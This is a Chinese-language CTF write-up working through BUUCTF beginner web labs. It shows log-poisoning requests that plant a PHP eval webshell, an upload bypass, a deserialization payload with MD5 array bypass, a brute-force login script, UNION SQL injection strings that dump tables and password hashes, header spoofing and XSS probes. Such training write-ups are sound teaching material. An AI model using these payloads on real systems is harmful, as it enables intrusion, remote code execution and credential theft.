Basic

Linux Labs

2020年10月24日 更新:目前所有靶机均能直接访问互联网。

点击启动靶机可以启动一台安装好了 LAMP 的机器。

并且这台机器位于靶机内网,所有动态靶机均可直接通过主机名访问这台机器。

但由于目前一个账户只能同时启动一台靶机,您如果有需要建议浏览器开一个隐私窗口,注册一个新账号来启动这个靶机。

ssh 用户名:root 密码:123456 地址和端口为动态分配的。

开启环境后按照题目给定地址和端口使用SSH连接即可。

连接上云主机后使用ls命令,发现当前用户家目录下啥也没有,再使用cd ..命令切换到根目录下看看,发现flag.txt文件。

也可直接使用cat /flag.txt命令查看flag

BUU LFI COURSE 1

启动环境后得到如下PHP代码:

<?php
/**
 * Created by PhpStorm.
 * User: jinzhao
 * Date: 2019/7/9
 * Time: 7:07 AM
 */

highlight_file(__FILE__);

if(isset($_GET['file'])) {
    $str = $_GET['file'];

    include $_GET['file'];
}

本地文件包含,通过file参数进行传参,可在URL后构造参数?file=/flag查看flag

拓展

通过Wappalyzer插件可以发现网站使用了nginx服务,尝试访问nginx访问日志:

?file=/var/log/nginx/access.log

页面回显出我们刚才的访问记录,接下来我们使用bp抓包尝试写入phpinfo

通过在User-Agent字段最后插入aaaaaaa<?php phpinfo();?>bbbbbbb传入phpinfo(),刷新页面后检查是否传入成功。

Request请求包如下:

GET /?file=/var/log/nginx/access.log HTTP/1.1
Host: <domain>:<port>
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36aaaaaaa<?php phpinfo();?>bbbbbbb
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

依照上述方法,我们还可直接上传一句话木马进行连接:

GET /?file=/var/log/nginx/access.log HTTP/1.1
Host: <domain>:<port>
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36aaaaaaa<?php @eval($_POST['cmd']);?>bbbbbbb
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Shell url: http://<domain>:<port>/?file=/var/log/nginx/access.log
Shell pwd: cmd

Upload-Labs-Linux

是一个在线的Uplaod-Labs靶场。

我们先过第一关,题目要求上传一个webshell到服务器,写个一句话php马:

<?php @eval($_POST['cmd']);?>

点击上传时却显示文件格式不符合要求,盲猜只有一个前端验证。

webshell.php改为webshell.jpg,然后使用bp抓取上传文件时的数据包,放到Repeater模块,将下面的webshell.jpg改为webshell.php即可:

------WebKitFormBoundaryDSXCGFcAK1IJkpgn
Content-Disposition: form-data; name="upload_file"; filename="webshell.jpg"

BUU CODE REVIEW 1

启动环境后得到如下PHP代码:

<?php
/**
 * Created by PhpStorm.
 * User: jinzhao
 * Date: 2019/10/6
 * Time: 8:04 PM
 */

highlight_file(__FILE__);

class BUU {
   public $correct = "";
   public $input = "";

   public function __destruct() {
       try {
           $this->correct = base64_encode(uniqid());
           if($this->correct === $this->input) {
               echo file_get_contents("/flag");
           }
       } catch (Exception $e) {
       }
   }
}

if($_GET['pleaseget'] === '1') {
    if($_POST['pleasepost'] === '2') {
        if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
            unserialize($_POST['obj']);
        }
    }
}

代码审计,题目的考察点在于MD5绕过和反序列化,我们所需提交的内容如下:

GET提交:	pleaseget=1
POST提交第一部分:	pleasepost=2&md51=0&md52="a"
POST提交第二部分:	obj,一个BUU类的实例化对象,属性值在经过$this->correct=base64_encode(uniqid());之后依然全等,可以通过把变化的$correct属性引用赋值给$input

// 解析
__destruct():	对象所有引用都被删除或当对象被显示销毁时执行
uniqid():	基于以微秒的当前时间生成一个唯一ID
传值赋值:	变量默认为传值赋值,即当一个表达式的值赋予一个变量时,整个原始表达式的值被赋到目标变量。如把变量a的值赋给变量b,改变a的值不会影响b的值,反之亦然
引用赋值:	新变量会简单引用(也可理解为指向)原始变量,改动新变量值的同时也会改变原始变量的值,反之亦然

接下来我们就编写代码构造payload

<?php
class BUU{
    public $correct = "";
    public $input = "";
    
    public function __destruct() {
        try {
            $this->correct = base64_encode(uniqid());
            if ($this->correct === $this->input) {
                echo file_get_contents("/flag");
            }
        } catch (Exception $e){
        }
    }
}
$res = new BUU();
$res->input = &$res->correct;	// 传入一个引用
echo serialize($res);
?>

执行结果:

O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

传递参数如下:

GET:
pleaseget=1

POST:
pleasepost=2
&md51[]=1
&md52[]=2
&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

BUU BRUTE 1

是一个登录框,尝试admin/admin,页面回显密码错误,为四位数字。,直接上bp爆破。

步骤一

抓取点击提交按钮时的数据包并发送至Intruder模块。

步骤二

Inturder模块中将password设置为payload,然后选择数字字典。

步骤三

可将爆破间隔时间调高避免被封。

也可用以下python脚本:

import requests
import time

url = 'http://<ip>:<port>/?username=admin&password='

for i in range(6000, 6499):
    res = requests.get(url+str(i))
    time.sleep(0.1)

    if res.text != '密码错误,为四位数字。':
        print(res.text)
        break

sqli-labs

SQL注入,传入参数id=1id=-1,页面回显正常,传入id=1',页面报错,判断为字符型注入。使用联合查询看看有几列数据:

?id=-1'union select 1,2,3--+

经过尝试后发现总共有三列数据,查看当前库名:

?id=-1'union select 1,database(),3--+

爆库名:

?id=-1'union select 1,database(),group_concat(schema_name) from information_schema.schemata--+

// 结果如下
Your Login name:security
Your Password:ctftraining,information_schema,mysql,performance_schema,security,test

爆表名:

?id=-1'union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='ctftraining'--+

// 结果如下
Your Login name:security
Your Password:flag,news,users

爆列名:

?id=-1'union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema='ctftraining' and table_name='flag'--+

// 结果如下
Your Login name:security
Your Password:flag

爆字段:

id=-1'union select 1,database(),group_concat(flag) from ctftraining.flag--+

BUU SQL COURSE 1

一个简单的新闻网,尝试在登录框进行SQL注入,发现都被过滤了。本来打算在测试新闻页面进行注入的,可是没找到注入点,发现登录框注入行不通后,打开网络控制台,切换到Network模块,看看页面都加载了什么资源,发现有一个content_detail.php页面:

<domain>:<port>/backend/content_detail.php?id=1

进行注入类型判断:

?id=1 and 1=1--+	// 页面回显正常
?id=1 and 1=2--+	// 页面回显错误

判断为数字型注入。

使用联合查询查看有几列数据:

?id=-1 union select 1,2--+

一共有两列数据,均为回显点。

爆库:

?id=-1 union select 1,group_concat(schema_name) from information_schema.schemata

// 结果
{"title":"1","content":"information_schema,ctftraining,mysql,performance_schema,test,news"}

爆表:

?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctftraining'--+

// 结果
{"title":"1","content":"FLAG_TABLE,news,users"}

爆列:

?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'--+

// 结果
{"title":"1","content":"id,username,password,ip,time,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS"}

爆字段:

// username字段
?id=-1 union select 1,group_concat(username) from ctftraining.users--+
{"title":"1","content":"admin,guest,virink"}

// password字段
?id=-1 union select 1,group_concat(password) from ctftraining.users--+
{"title":"1","content":"21232f297a57a5a743894a0e4a801fc3,084e0343a0486ff05530df6c705c8bb4,a4346e75cc1dd161a8d57f3b2d5d82d0"}

然后发现密码不对,再尝试爆破news表,步骤如上。

BUU UPLOAD COURSE 1

页面如下:

zFryk8

查看页面元素:

<form action="index.php?file=upload.php" method="post" enctype="multipart/form-data">
        <input type="file" name="upload_file">
        <input type="submit" value="上传">
</form>

发现此处通过file参数调用文件,检查一下是否存在文件包含漏洞,上传一个phpinfo看看:

<?php phpinfo();?>

上传成功后会随机返回一个地址,而且文件后缀被更改为.jpg,我们查看命令是否能被解析:

?file=uploads/<random-value>.jpg

成功回显phpinfo页面,按照划水经验来讲,flag应该在根目录,在bp中将文件内容更改如下:

<?php system("cat /flag");?>

发包,访问,成功获得flag

BUU BURP COURSE 1

访问页面,显示只能本地访问,分别尝试构造了X-Forwarded-ForX-Originating-IPX-Remote-IPX-Remote-Addr四个字段,均未成功…

查了资料发现还有个X-Real-IP,在bp中添加请求头,访问成功,是一个登录页面,将URL复制,粘贴到浏览器访问:

jW2Txt

点击登录后还是显示只能本地访问,抓取点击登录的包,放在bp里面添加请求头,查看响应包即可。

X-Forwarded-For:记录代理信息,每经过一次代理(匿名代理除外),代理服务器都会把这次请求的来源IP追加在X-Forwarded-For中并且用逗号分隔。

X-Real-IP:一般只记录真实发出请求的客户端IP。

BUU XSS COURSE 1

一个树洞系统,分为留言和登录两个模块,猜测需要通过XSS获取管理员Cookie进行登录。

先检验一下过滤情况,在留言处输入如下语句:

<scrIpT>alert(/xss/)</scrIpT>

提交后会回显一个随机地址,访问发现什么也没有,打开控制台查看页面元素:

<span data-v-1a9a378f="">
  <script>alert(/xss/)</script>
</span>

语句被放到了span标签中,接下来看看能否使用img标签:

<img src=# onerror=alert(xss)/>

页面无法加载图片,标签能够正常使用,页面元素:

<span data-v-1a9a378f="">
  <img src="#" onerror="alert(xss)/">
</span>

接下来我们就需要构造一个存储型XSS,获取管理员Cookie,登录得到flag。那么现在还缺少一个相应的接收平台,这里使用XSS Platform (buuoj.cn)进行构造。

注册登录后选择创建项目。

平台暂时使用不了……

PikaChu

文章许可:本文采用CC BY-NC-SA 4.0许可协议,转载请注明出处。